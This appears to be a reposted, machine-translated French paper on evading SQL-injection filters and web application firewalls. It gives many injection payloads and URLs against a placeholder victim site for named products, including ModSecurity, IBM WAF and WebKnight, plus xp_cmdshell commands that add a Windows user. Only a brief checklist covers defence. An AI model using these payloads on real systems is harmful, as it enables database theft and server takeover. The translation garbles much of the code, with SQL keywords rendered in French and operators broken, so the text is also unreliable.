Post Populaire



##########
 Contenu
##########

  [0x00] - Introduction

  [0x01] - Evasion filtre (Mysql)

  [0x01a] - Bypass Fonctions et Mots-clés filtrage
  Expression régulière Bypass Filtrage - [0x01b]
  
  [0x02] - Techniques Normalement Contournement

  [0x03] - Techniques avancées Contournement

  [0x03a] - Pollution paramètre HTTP: split et join
  [0x03b] - Contamination paramètre HTTP
    
  [0x04] - Comment protéger votre site web

  [0x05] - Conclusion

  [0x06] - Références

  [0x07] - Pour Greetz


#######################
 [0x00] - Introduction
#######################

 Bienvenue aux lecteurs, ce document est une longue tentative de documenter avancés par injection SQL, nous avons travaillé. 
Ce papier va divulguer les contournant et des techniques avancés obscurcissement dont beaucoup d'entre eux peut être utilisé dans le CMS réel et WAF. Les énoncés proposés par injection SQL dans ce document sont quelques-unes des façons de contourner la protection.
Il ya encore quelques autres techniques peuvent être utilisées pour les applications Web des attaques, mais malheureusement nous ne pouvons pas vous dire maintenant, car il est gardé comme une attaque 0-day. Toutefois, ce document vise à montrer qu'il n'ya pas de système totalement sécurisé
dans le monde réel, même si vous dépensez plus que 300 000 USD sur un WAF.

 Ce document est divisé en 7 sections, mais seulement de 0x01 à 0x03 sont la section sur l'information technique.

 0x01 section, nous donnons quelques détails sur la façon de contourner le filtre, y compris de base, la fonction et le mot clé.
0x02 section, nous offrons normalement passer par des techniques pour contourner WAF OpenSource et commerciale.
Section 0x03, on parle en profondeur les techniques de pointe qui se séparent en contournant section 2, «Contamination paramètre HTTP".
et "Pollution HTTP: Split et Join». Section 0x04, nous guide pour protéger votre propre site Web sur la bonne solution.
La dernière section 0x05, C'est la conclusion de la Section 0x01 0x04-.


#################################
 [0x01] - Evasion filtre (Mysql)
#################################
 
 Cette section décrit les comportements d'évasion filtre basé sur PHP et MySQL et comment contourner le filtrage. Evasion filtre est une technique utilisée pour prévenir les attaques par injection SQL. Cette technique peut être fait en utilisant une des fonctions SQL et les mots clés de filtrage ou d'expressions régulières.
Cela signifie que l'évasion du filtre dépend fortement de la façon dont le stockage d'une liste noire ou expression régulière est. Si la liste noire ou une expression régulière ne couvre pas tous les scénarios d'injection, l'application web est toujours vulnérable aux attaques par injection SQL.

 ++++++++++++++++++++++++++++++++++++++++++++++++++ +
  [0x01a] - Bypass Fonctions et Mots-clés filtrage
 ++++++++++++++++++++++++++++++++++++++++++++++++++ +
 
  Fonctions et les mots clés de filtrage empêche les applications Web contre les attaques en utilisant une des fonctions et des mots clés liste noire. Si un attaquant soumet un code d'injection contenant un mot ou une fonction SQL dans la liste noire, l'injection sera infructueuse.
 Cependant, si l'attaquant est capable de manipuler l'injection en utilisant un autre mot clé ou une fonction, la liste noire ne parviendra pas à empêcher l'attaque. Afin de prévenir les attentats, un certain nombre de mots clés et des fonctions doit être mis sur la liste noire. Toutefois, cela affecte les utilisateurs
 quand les utilisateurs veulent soumettre l'entrée avec un mot dans la liste noire. Ils seront incapables de soumettre l'entrée car elle est filtrée par la liste noire. Les scénarios suivants montrent les cas de l'utilisation des fonctions et des mots clés et les techniques de filtrage contournant.

  
  Filer les mots-clés: et, ou
  -------------------------------------------------- --------------------
  PHP filtre de code: preg_match ('/ (et | ou) / i', $ id)

  Les mots-clés et, ou sont généralement utilisés comme un test simple pour déterminer si une application web est vulnérable aux attaques par injection SQL. Voici un contournement simple en utilisant & &, | | au lieu de et, ou, respectivement.

  D'injection filtrée: 1 ou 1 = 1 1 et 1 = 1
  D'injection contournées: 1 | | 1 = 1 1 & & 1 = 1
  -------------------------------------------------- --------------------


  Filer les mots-clés: et, ou, le syndicat
  -------------------------------------------------- --------------------
  PHP filtre de code: preg_match ('/ (et | ou | syndicaux) / i', $ id)

  Le syndicat mot-clé est généralement utilisé pour générer une instruction malveillants afin de sélectionner les données supplémentaires de la base de données. 

  D'injection filtrée: UNION SELECT utilisateur, mot de passe des utilisateurs
  D'injection contournées: 1 | | (utilisateur de sélectionner des utilisateurs où user_id = 1) = 'admin'

  ** Remarque: vous devez connaître le nom de table, nom de colonne et de certaines données dans le tableau, sinon vous devez l'obtenir à partir du tableau information_schema.columns utilisant une autre déclaration 
  par exemple la fonction substring utiliser pour obtenir chaque caractère des noms de table.
  -------------------------------------------------- --------------------

  
  Filer les mots-clés: et, ou, syndicat, où
  -------------------------------------------------- --------------------
  PHP filtre de code: preg_match ('/ (et | ou | union | où) / i', $ id)
  D'injection filtrée: 1 | | (utilisateur de sélectionner des utilisateurs où user_id = 1) = 'admin'
  D'injection contournées: 1 | | (utilisateur de sélectionner à partir de limiter les utilisateurs 1) = 'admin'
  -------------------------------------------------- --------------------

  
  Filer les mots-clés: et, ou, syndicat, où, la limite
  -------------------------------------------------- --------------------
  PHP filtre de code: preg_match ('/ (et | ou | union | u | limite) / i', $ id)
  D'injection filtrée: 1 | | (utilisateur de sélectionner à partir de limiter les utilisateurs 1) = 'admin'
  D'injection contournées: 1 | | (utilisateur de sélectionner des groupes d'utilisateurs par user_id avoir user_id = 1) = 'admin'
  -------------------------------------------------- --------------------


  Filer les mots-clés: et, ou, syndicat, où, de limiter, par le groupe
  -------------------------------------------------- --------------------
  PHP filtre de code: preg_match ('/ (et | ou | union | u | limite | GROUP BY) / i', $ id)
  D'injection filtrée: 1 | | (utilisateur de sélectionner des groupes d'utilisateurs par user_id avoir user_id = 1) = 'admin'
  D'injection contournées: 1 | | (SELECT SUBSTR (gruop_concat (user_id), 1,1) utilisateur d'utilisateurs) = 1
  -------------------------------------------------- --------------------

  
  Filer les mots-clés: et, ou, syndicat, où, de limiter, groupe par, sélectionnez
  -------------------------------------------------- --------------------
  PHP filtre de code: preg_match ('/ (et | ou | union | u | limite | groupe en | sélectionner) / i', $ id)
  D'injection filtrée: 1 | | (SELECT SUBSTR (gruop_concat (user_id), 1,1) utilisateur d'utilisateurs) = 1
  D'injection contournées: 1 | | 1 = 1 en «result.txt 'outfile
  D'injection contournées: 1 | | substr (utilisateur, 1,1) = 'a'
  -------------------------------------------------- --------------------


  Keyword déposant: et, ou, syndicat, où, de limiter, groupe par, sélectionnez «
  -------------------------------------------------- --------------------
  PHP filtre de code: preg_match ('/ (et | ou | union | u | limite | groupe en | sélectionner | \') / i ', $ id)
  D'injection filtrée: 1 | | (SELECT SUBSTR (gruop_concat (user_id), 1,1) utilisateur d'utilisateurs) = 1
  D'injection contournées: 1 | | user_id n'est pas nul
  D'injection contournées: 1 | | substr (utilisateur, 1,1) = 0x61
  D'injection contournées: 1 | | substr (utilisateur, 1,1) = unhex (61)
  -------------------------------------------------- --------------------


  Filer les mots-clés: et, ou, syndicat, où, de limiter, groupe par, sélectionner ", hex
  -------------------------------------------------- --------------------
  PHP filtre de code: preg_match ('/ (et | ou | union | u | limite | groupe en | sélectionner | \' | hex) / i ', $ id)
  D'injection filtrée: 1 | | substr (utilisateur, 1,1) = unhex (61)
  D'injection contournées: 1 | | substr (utilisateur, 1,1) = inférieur (conv (11,10,36))
  -------------------------------------------------- --------------------


  Filer les mots-clés: et, ou, syndicat, où, de limiter, groupe par, sélectionner, hexadécimal, substr
  -------------------------------------------------- --------------------
  PHP filtre de code: preg_match ('/ (et | ou | union | u | limite | groupe en | sélectionner | \' | hex | substr) / i ', $ id)
  D'injection filtrée: 1 | | substr (utilisateur, 1,1) = inférieur (conv (11,10,36))
  D'injection contournées: 1 | | LPAD (utilisateur, 7,1)
  -------------------------------------------------- --------------------


  Keyword déposant: et, ou, syndicat, où, de limiter, groupe par, sélectionner, hexadécimal, substr, l'espace blanc
  -------------------------------------------------- --------------------
  PHP filtre de code: preg_match ('/ (et | ou | union | u | limite | groupe en | sélectionner | \' | hex | substr | \ s) / i ', $ id)
  D'injection filtrée: 1 | | LPAD (utilisateur, 7,1)
  D'injection contournées: 1% 0b | 0blpad% (utilisateur, 7,1) |
  -------------------------------------------------- --------------------


  A partir des exemples ci-dessus, on peut constater qu'il ya un certain nombre d'instructions SQL utilisées pour contourner la liste noire, bien que la liste noire contient de nombreux mots clés et des fonctions. 
 Par ailleurs, il ya une énorme déclarations SQL, qui ne sont pas sur les exemples mentionnés, qui peuvent être utilisées pour contourner la liste noire.

  Création d'une grande liste noire n'est pas une bonne idée de protéger vos propres sites Web. Rappelez-vous, les mots-clés plus et les fonctions de filtrage, moins convivial.


 +++++++++++++++++++++++++++++++++++++++++++++++
  Expression régulière Bypass Filtrage - [0x01b]
 +++++++++++++++++++++++++++++++++++++++++++++++

  Filtrage des expressions régulières est une meilleure solution pour éviter une injection SQL que des mots clés et des fonctions de filtrage, car il est utilisé pattern matching pour détecter les attaques. Utilisateurs valides sont autorisés à présenter d'entrée plus souples pour le serveur.
 Cependant, beaucoup d'expressions régulières peut aussi être contournée. Les exemples suivants illustrent les scripts d'injection qui permet de contourner les expressions régulières dans l'OpenSource PHPIDS 0.6.

 PHPIDS général d'entrée ou de blocs contenant = (ou «suit avec toute une chaîne ou un entier par exemple 1 ou 1 = 1, 1 ou '1 ', 1 ou char (97). Cependant, il peut être contourné en utilisant une instruction qui ne contient pas =, (ou «symboles. 

 [Code ]----------------------------------------------- ----------------  
 d'injection filtré: 1 ou 1 = 1
 D'injection contournées: 1 ou 1
 Fin de code []---------------------------------------------- ------------- 

 [Code ]----------------------------------------------- ----------------  
 d'injection filtrée: 1 UNION SELECT 1, à partir nom_table INFORMATION_SCHEMA.TABLES où table_name = 'utilisateurs'
 d'injection filtrée: 1 UNION SELECT 1, à partir nom_table INFORMATION_SCHEMA.TABLES où table_name entre 'a' et 'z'
 d'injection filtrée: 1 UNION SELECT 1, à partir nom_table INFORMATION_SCHEMA.TABLES où table_name entre les caractères (97) et char (122)
 D'injection contournées: 1 UNION SELECT 1, à partir nom_table INFORMATION_SCHEMA.TABLES où table_name entre 0x61 et 0x7a
 Injection contournées: 1 UNION SELECT 1, à partir nom_table INFORMATION_SCHEMA.TABLES où table_name comme 0x7573657273
 Fin de code []---------------------------------------------- ------------- 



########################################
 [0x02] - Techniques Normalement Contournement
########################################

 Dans cette section, nous mentionnons les techniques pour contourner les pare-feu d'applications Web (WAF). La première chose que vous devez savoir ce qui se WAF?
 
 Un pare-feu d'applications Web (WAF) est un appareil, un plugin de serveur ou de filtre qui applique un ensemble de règles pour une conversation HTTP. 
Généralement, ces règles couvrent les attaques courantes telles que la Croix-site scripting (XSS) et injection SQL. En personnalisant les règles à votre demande,
de nombreuses attaques peuvent être identifiés et bloqués. L'effort pour réaliser cette personnalisation peut être important et doit être maintenu tant que la demande est modifiée.
 WAF sont souvent appelés coz 'Deep Packet Inspection Firewall' ils regardent à chaque demande et réponse dans les protocoles HTTP / HTTPS / SOAP / XML-RPC / Web lacers service.
Certains systèmes modernes WAF travailler aussi bien avec les signatures d'attaque et un comportement anormal.

 Maintenant LET'S ROCK à comprendre comment on rupture avec obscurcir, Tous WAF peut être contourné avec le temps de comprendre leurs règles ou en utilisant votre imagination!

 
 1. Bypass avec commentaires

  SQL commentaires nous permettent de contourner un grand nombre de filtrage et de WAF.
 
  [Code ]----------------------------------------------- ----------------  
  http://victim.com/news.php?id=1+un/ ** / ion + SE / ** / Cours +1,2,3 -
  Fin de code []---------------------------------------------- -------------


 2. Case Changer

  Certains WAF seul filtre mot-clé en minuscules SQL. 

  Regex Filtre: / syndicat \ sselect / g
 
  [Code ]----------------------------------------------- ----------------  
  http://victim.com/news.php?id=1+UnIoN/ ** / Sélection / ** / 1,2,3 -
  Fin de code []---------------------------------------------- -------------


 3. Mots-clés Remplacé

  Certaines applications et l'utilisation WAF preg_replace pour supprimer tous les mots clés SQL. Ainsi, nous pouvons contourner facilement. 
 
  [Code ]----------------------------------------------- ----------------  
  http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1 ,2,3 -
  Fin de code []---------------------------------------------- -------------

  Certains mots clés SQL CASE a été filtré et remplacé par des espaces. Donc nous pouvons utiliser "% 0b" à contourner.

  [Code ]----------------------------------------------- ----------------  
  % http://victim.com/news.php?id=1+uni 0bon + soi% 0blect +1,2,3 -
  Fin de code []---------------------------------------------- -------------

  Pour mod_rewrite, "/**/" commentaires ne peuvent pas contourné. Alors que nous utilisons "0b%" remplacer "/**/".

  Interdite:. Http://victim.com/main/news/id/1/ **/||/**/ LPAD (prenom, 7,1) html
  Isolée:.% Http://victim.com/main/news/id/1 0b | |% 0blpad (prenom, 7,1) html
 


 4. Codage des caractères

  La plupart des CMS et des WAF va décoder et filtre / bypass une entrée d'application, mais certains WAF seulement décoder l'entrée jadis si 
  double encodage est possible de contourner certains filtres comme le WAF va décoder l'entrée une fois puis filtre alors l'application garder
  décodage de l'instruction SQL exécution
 
  
  http://victim.com/news.php?id=1% 252F% 252a * / union 252a% 252f% /%% de sélectionner 252f 252a * / 1,2,3% 252F% 252a * / à partir de% 252F% 252a * / utilisateurs -
  [Fin
    
  Par ailleurs, ces techniques peuvent se combiner pour contourner Citrix NetScaler
   - Retirez tous les «NULL» mots
   Utiliser l'encodage requête dans certaines parties -
   - Retirez le caractère apostrophe "'"
   - Et Amusez-vous!
   Crédit: Wendel Guglielmetti Henrique 
  
  et "Armorlogic Profense" avant 2.4.4 a été contourné par URL-encodés caractère de nouvelle ligne.


  # Exemple réel
  
  1. NukeSentinel (Nuke Evolution)
  
  [Nukesentinel.php code ]-------------------------------------------- ----------------
  / / Check pour UNION attaque
  / / Copyright 2004 (c) Raven scripts PHP
  $ $ = Blocker_row blocker_array [1];
  if ($ blocker_row ['activer']> 0) {
    if (stristr ($ nsnst_const ['QUERY_STRING'],'+ syndicaux +') ou \
  stristr ($ nsnst_const ['QUERY_STRING'],'% 20union% 20') ou \
  stristr ($ nsnst_const ['QUERY_STRING'],'*/ Union / *') ou \
  stristr ($ nsnst_const ['QUERY_STRING'], «union») ou \
  stristr ($ nsnst_const ['query_string_base64'],'+ syndicaux +') ou \
  stristr ($ nsnst_const ['query_string_base64% 20union'],'% 20') ou \
  stristr ($ nsnst_const ['query_string_base64'],'*/ Union / *') ou \
  stristr ($ nsnst_const ['query_string_base64'], 'union')) {/ / block_ip ($ blocker_row);
     die ("IP BLOC 1");
    }
  }
  Fin de code []---------------------------------------------- ---------------------------

  Nous pouvons contourner leurs filtrage avec ces scripts:
  
  Interdite:? Http://victim.com/php-nuke/?/ ** / union / ** / sélectionner ..
  Isolée: http://victim.com/php-nuke/?/ 2A%% 2A/union /% 2A/select% 2A?
  Isolée:? Http://victim.com/php-nuke/% 2f% 2f% ** 2funion 2fselect **%?


  2. Mod Sécurité CRS (Crédit: Johannes Jésus-Christ Dahse)
  
  [SecRule ]----------------------------------------------- ---------------------------
  SecRule REQUEST_FILENAME | ARGS_NAMES | args | XML: / * "? \ Oignon \ b. {1100} \ BSélectionnez \ b" \ "phase2, rev: '2 .2.1 ', la capture, t: aucun,
  
  msg: "attaque par injection SQL ', id: '959047', tag: 'WEB_ATTACK / Sql_Injection', tag: 'WASCTC/WASC-19', tag: 'OWASP_TOP_10/A1»,
  
  
  setvar:. tx% {} rule.id -WEB_ATTACK/SQL_INJECTION-% {}% matched_var_name = {} tx.0 "
  Règle [Fin ]---------------------------------------------- ---------------------------

  Nous pouvons contourner leurs filtrage avec ce code:
  
  [Code ]----------------------------------------------- -------------------------------
  
  Fin de code []---------------------------------------------- ----------------------------

  A partir de cette attaque, nous pouvons contourner la règle de sécurité Mod. Laissez voir ce qui arrivera!
  
  Le serveur MySQL supporte trois types de commentaires:
   - D'un caractère "#" à la fin de la ligne
   - D'un "-" séquence à la fin de la ligne
   - D'une séquence / * suivantes * / séquence, comme dans le langage de programmation C.
     Cette syntaxe permet d'étendre un commentaire sur plusieurs lignes, car les séquences de début et de clôture doivent
     ne pas être sur la même ligne.

  L'exemple suivant, nous avons utilisé "0A% 0D%" que les caractères de nouvelle ligne. Prenons un oeil à la première demande (pour extraire l'utilisateur DB)
  La charge utile SQL résultante ressemble à ça:

   0 div 1 union # foo * / * / bar
   Sélectionnez # foo
   1,2, current_user
  
  Cependant la charge SQL, lorsqu'elle est exécutée par la base de données MySQL, ressemblait à ceci:

   0 div 1 UNION SELECT 1,2, current_user 


 5. Buffer Overflow

  WAF qui écrit dans le langage C sujettes à débordement ou agir différemment lorsqu'il est chargé avec un tas de données.
  Donner une grande quantité de données permet à nos exécuter du code 
 
  [Code ]----------------------------------------------- -------------------------------
  http://victim.com/news.php?id=1+and+ (sélectionner 1) = (sélectionner 0x414141414141441414141414114141414141414141414141414141
  414141414141 ??.)+ syndicaux + select +1,2, version (), base de données (), l'utilisateur () ,6,7,8,9,10 -
  Fin de code []---------------------------------------------- ----------------------------

 
 6. Commentaires en ligne (Mysql seulement)

  Depuis MySQL 5.0 Reference Manual, le serveur MySQL supporte des variantes de style C commentaires. Elles vous permettent d'écrire
  code qui inclut des extensions de MySQL, mais qui restent portables, en utilisant les commentaires de la forme suivante:

  / *! * Code spécifique à MySQL /
  
  Dans ce cas, le serveur MySQL analyse et exécute le code dans le commentaire que ce serait une autre requête,
  mais d'autres serveurs SQL va ignorer les extensions.
  
  Un grand nombre de mots clés WAF filtre SQL comme / syndicat \ sselect \ ig Nous pouvons contourner ce filtre en utilisant des commentaires en ligne.
  
  [Code ]----------------------------------------------- -------------------------------
  http://victim.com/news.php?id=1/ Union * * / SELECT +1,2,3! -
  Fin de code []---------------------------------------------- ----------------------------
  
  Commentaires en ligne peut être utilisé tout au long du SQL si nom_table ou information_schema sont filtrés, nous pouvons
  ajouter des commentaires en ligne plus
 
  [Code ]----------------------------------------------- -------------------------------
  
  / * Où */+/*! table_schema * / + comme + base de données ()! -
  Fin de code []---------------------------------------------- ----------------------------


 
######################################## 
 [0x03] - Techniques avancées Contournement
########################################
  
 Dans cette section, nous vous proposons 2 techniques sont «Pollution HTTP: Split et Join" et "contamination paramètre HTTP". 
A partir de ces techniques peuvent contourner un grand nombre de pare-feu d'applications Web Open Source et commerciales (WAF)
     
     
 ++++++++++++++++++++++++++++++++++++++++++++++++++ + +
  [0x03a] - Pollution paramètre HTTP: split et join
 ++++++++++++++++++++++++++++++++++++++++++++++++++ + +

  Pollution HTTP est une nouvelle classe de vulnérabilité d'injection par Luca Carettoni et Stefano Di Paola. PHP est un jeu assez simple mais
 efficaces technique de piratage. Attaques HPP peut être définie comme la faisabilité de remplacer ou d'ajouter HTTP GET / POST des paramètres en injectant
 chaîne de requête. 

 Exemple de PHP: «http://victim.com/search.aspx?par1=val1&par1=val2"

 Manipulation des paramètres HTTP: (Exemple)
 
 +------------------------------------------------- -----------------+
 Serveur Web | | Interprétation Paramètre | Exemple |
 +------------------------------------------------- -----------------+
 | ASP.NET / IIS | concaténation par virgule | par1 = val1, val2 |
 | ASP / IIS | concaténation par virgule | par1 = val1, val2 |
 | PHP / Apache | Le param dernière se traduit | par1 = val2 |
 | JSP / Tomcat | Le premier paramètre est issu | par1 = val1 |
 | Perl / Apache | Le premier paramètre est issu | par1 = val1 |
 | DBMan | concaténation de deux tildes | par1 = val1 val2 ~ ~ |
 +------------------------------------------------- -----------------+
 
  Qu'est-ce qui se passerait avec les WAF qui ne l'analyse de chaîne de requête avant d'appliquer des filtres? (HPP peut être utilisé même pour contourner WAF)
 Certains WAF lâche peut analyser et de valider une occurrence unique paramètre uniquement (une première ou la dernière). Chaque fois que les concatène l'environnement face
 occurrences multiples (ASP, ASP.NET, DBMan,?) un agresseur peut diviser la charge utile malveillante.

  Dans un test de pénétration récente (encore), nous avons été en mesure de contourner une SecureSphere d'Imperva aide "PHP + Commentaire Inline" sur ASP / ASP.NET environnement.
 Cette technique peut contourner d'autres WAF commerciaux aussi. Plus d'informations sur "PHP + Commentaire Inline" montrer ci-dessous: 

 
 # Exemple réel:

 1. Mod Sécurité CRS (Crédit: Lavakumar Kuppan)
  
  La demande suivante matches contre les CRS ModSecurity comme une attaque par injection SQL et est bloqué.
  
  Interdite: http://victim.com/search.aspx?q=select nom, mot de passe des utilisateurs

  Lorsque la même charge utile est divisé en fonction de paramètres multiples de la ModSecurity même nom ne parvient pas à le bloquer.

  Isolée: Nom http://victim.com/search.aspx?q=select & q = mot de passe des utilisateurs

  
  Voyons ce qui arrive, l'interprétation est ModSecurity
  
  q = select name
  q = mot de passe des utilisateurs

  L'interprétation ASP / ASP.NET 's est
  q = sélectionner le nom, mot de passe des utilisateurs

  * Astuce: Cette attaque peut être effectuée sur une variable POST d'une façon similaire


 2. WAF commerciaux
  
  Interdite: http://victim.com/search.aspx?q=select nom, mot de passe des utilisateurs

  Maintenant nous utilisons PHP + commentaires en ligne pour le contourner.

  Isolée: http://victim.com/search.aspx?q=select/ * & q =* / nom & q = mot de passe / * & q =* / de / * & q =* / utilisateurs

  
  L'analyse, l'interprétation est WAF

  q = sélectionner / *
  q =* / nom
  q = mot de passe / *
  q =* / de / *
  q =* / utilisateurs
  
  L'interprétation ASP / ASP.NET 's est
  q = nom /*,*/ sélectionner, /*,*/ mot de passe des utilisateurs /*,*/
  q = sélectionner le nom, mot de passe des utilisateurs


 3. IBM Web Application Firewall (Crédit: Wendel Guglielmetti Henrique SpiderLabs Trustwave)
  
  Interdite:? Http://victim.com/news.aspx?id=1; master EXEC .. xp_cmdshell net user zeq3ul UrWaFisShiT / ajouter? -

  Maintenant nous utilisons PHP + commentaires en ligne pour le contourner.

  Isolée:? Http://victim.com/news.aspx?id=1 '; / * & id = 1 * / exec / * & id = 1 * / master .. xp_cmdshell / * & id = 1 * / net user lucifer UrWaFisShiT? / * & Id = 1 * / -

  
  L'analyse, l'interprétation est WAF

  id = 1;? / *
  id = 1 * / exec / *
  id = 1 * / master .. xp_cmdshell / *
  id = 1 * /? net user zeq3ul UrWaFisShiT? / *
  id = 1 * / -
  
  L'interprétation ASP / ASP.NET 's est
  id = 1;???? / *, 1 * / exec / *, 1 * / master .. xp_cmdshell / *, 1 * / net user zeq3ul UrWaFisShiT? / *, 1 * / -
  id = 1;???? master EXEC .. xp_cmdshell net user zeq3ul UrWaFisShiT? -
  

  Le plus facile d'atténuation à cette attaque serait pour le WAF pour interdire plusieurs instances du même paramètre dans une requête HTTP unique. 
 Cela permettrait d'éviter toutes les variantes de cette attaque.
  Toutefois, ce ne serait pas possible dans tous les cas que certaines applications pourraient avoir un besoin légitime de multiples paramètres en double. 
 Et ils pourraient être conçus pour envoyer et accepter des multiples paramètres HTTP du même nom dans le même request.To protéger ces applications, le WAF 
 devrait également interpréter la requête HTTP de la même manière l'application web.

  
 ++++++++++++++++++++++++++++++++++++++++
  [0x03b] - Contamination paramètre HTTP
 ++++++++++++++++++++++++++++++++++++++++

  Contamination paramètre HTTP (HPC) idée originale provient de l'approche novatrice dans la recherche par HPP 
 explorer et exploiter plus profondément les comportements étranges dans les composants de serveur Web, applications Web et des navigateurs en raison de chaîne de requête
 la contamination des paramètres avec les caractères réservés ou non attend. 
 
 Quelques faits:
      - La chaîne de requête terme est couramment utilisé pour désigner la partie entre le "?" et la fin de l'URI
 - Comme défini dans la RFC 3986, il est une série de champs de paires de valeurs
 - Les paires sont séparées par des "&" ou ";"
 - RFC 2396 définit deux classes de personnages:
  Unreserved: az, AZ, 0-9 et _. ! ~ * '()
  Réservé:; /? : @ & = + $,
  Imprudent: {} | \ ^ [] ` 

  Différents serveurs Web ont une logique différente pour le traitement des demandes spéciales créées. Il ya plus de serveurs Web, la plate-forme serveur et combinaisons de caractères spéciaux,
 mais nous nous arrêterons ici cette fois.

 Réponse du serveur Web Query string et (Exemple)
 
 +------------------------------------------------- ----------+
 | Query String | Serveurs Web réponse / GET valeurs |
 +------------------------------------------------- ----------+
 | | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP |
 +------------------------------------------------- ----------+
 | Test [1 = 2 | test_1 = 2 | essai [1 ​​= 2 |
 | Test% = | test =% | test = |
 |? 00% test = 1 | test = 1 | test = 1 |
 |? Test = 1% 001 | NULL | test = 1 |
 | Test + d = 1 2 | test_d = 1 2 | essai d = 1 2 |
 +------------------------------------------------- ----------+
 
 Magique caractère "%" affectent à ASP / ASP.NET 

 +------------------------------------------------- -------------------+
 | Mots clés | WAF | ASP / ASP.NET |
 +------------------------------------------------- -------------------+
 | Sele ct%% * fr om .. | Sele ct%% * fr om .. | Select * from .. |
 |; Dr op% TA% bles xxx |;% dr op% TA xxx ble |; baisse de xxx de table |
 | <scr%ipt> | <scr%ipt> | <script> |
 | <if%rame> | <if%rame> | <iframe> |
 +------------------------------------------------- -------------------+


 Des exemples du monde réel #:

 1. Bypass règle Injection SQL mod_security (modsecurity_crs_41_sql_injection_attacks.conf)

  [Filtrée ]----------------------------------------------- -----------------------------------
 
  [Dim. 12 juin 2011 12:30:16] [error] [client 192.168.2.102] ModSecurity: Accès refusé avec le code 403 (phase 2). Correspondance du motif "\ \ bsys \ \. User_objects \ \ b"
  au ARGS_NAMES: sys.user_objects. [Fichier "/ etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [ligne "110"] [id "959519"]
  [Rev "2.2.0"] [msg "SQL Injection attaque aveugle"] [données "sys.user_objects"] [severity »CRITIQUE"] [tag "WEB_ATTACK / Sql_Injection"] [tag "WASCTC/WASC-19"] 
  [Tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]

  Fin de code []---------------------------------------------- --------------------------------

  Interdite: http://localhost/?xp_cmdshell
  Isolée: http://localhost/?xp [cmdshell

 2. Bypass URLScan 3.1 règle DenyQueryStringSequences
 
  Interdite: http://localhost/test.asp?file=../bla.txt
  Bla.txt =.%./ http://localhost/test.asp?file: contournées

 3. Bypass AQTRONIX Webknight (WAF pour IIS et ASP / ASP.Net)

  Interdite: http://victim.com/news.asp?id=10 et 1 = 0 / (choisir les meilleurs d'une table_name INFORMATION_SCHEMA.TABLES)
  Isolée: http://victim.com/news.asp?id=10 un 1% e = 0 / (SE% Cours supérieure de 1% TA ble_name fr% rmation_schema.tables om% d'info)

  De cette situation, l'utilisation des mots-clés SQL Webknight filtrage lorsque nous utilisons la «contamination HTTP" par insertion "%" en mots clés SQL WAF est contournée et l'envoi de ces
  commande au serveur Web: "id = 10 et 1 = 0 / (choisir les meilleurs d'une table_name INFORMATION_SCHEMA.TABLES)" parce que "%" est cutter dans le serveur web.
 

  Ces types de techniques de piratage sont toujours intéressantes car elles révèlent de nouvelles perspectives sur les problèmes de sécurité.
 De nombreuses applications sont jugés vulnérables à ce genre d'abus, car il n'ya pas de règles définies pour étranges comportements de serveur Web.
  HPC peut être utilisé pour étendre l'attaque HPP avec le nom du paramètre usurpation réelle dans la QUERY_STRING avec caractère "%" sur une plateforme IIS / ASP,
 s'il ya WAF qui bloque ce genre d'attaque.

 

###################################### 
 [0x04] - Comment protéger votre site web
######################################

- Mettre en œuvre du cycle de vie de développement logiciel (SDLC)
- Codage sécurisé: valider toutes les entrées et sorties
- PenTest avant en ligne
- Le durcir!
- Revoir PenTest
- Déployer WAF (Pour en option)
- Toujours vérifier WAF correctif


##################### 
 [0x05] - Conclusion
#####################
 
- N'est pas le WAF longtemps attendu
- Il est des limitations fonctionnelles, WAF n'est pas en mesure de protéger une application web à partir de toutes les vulnérabilités possibles
- Il est nécessaire d'adapter le filtrage WAF application web particulière protégée
- WAF n'élimine pas une vulnérabilité, il vient en partie des écrans le vecteur d'attaque.

- sebdelkil 2009-2015 - Aucun droit réservé -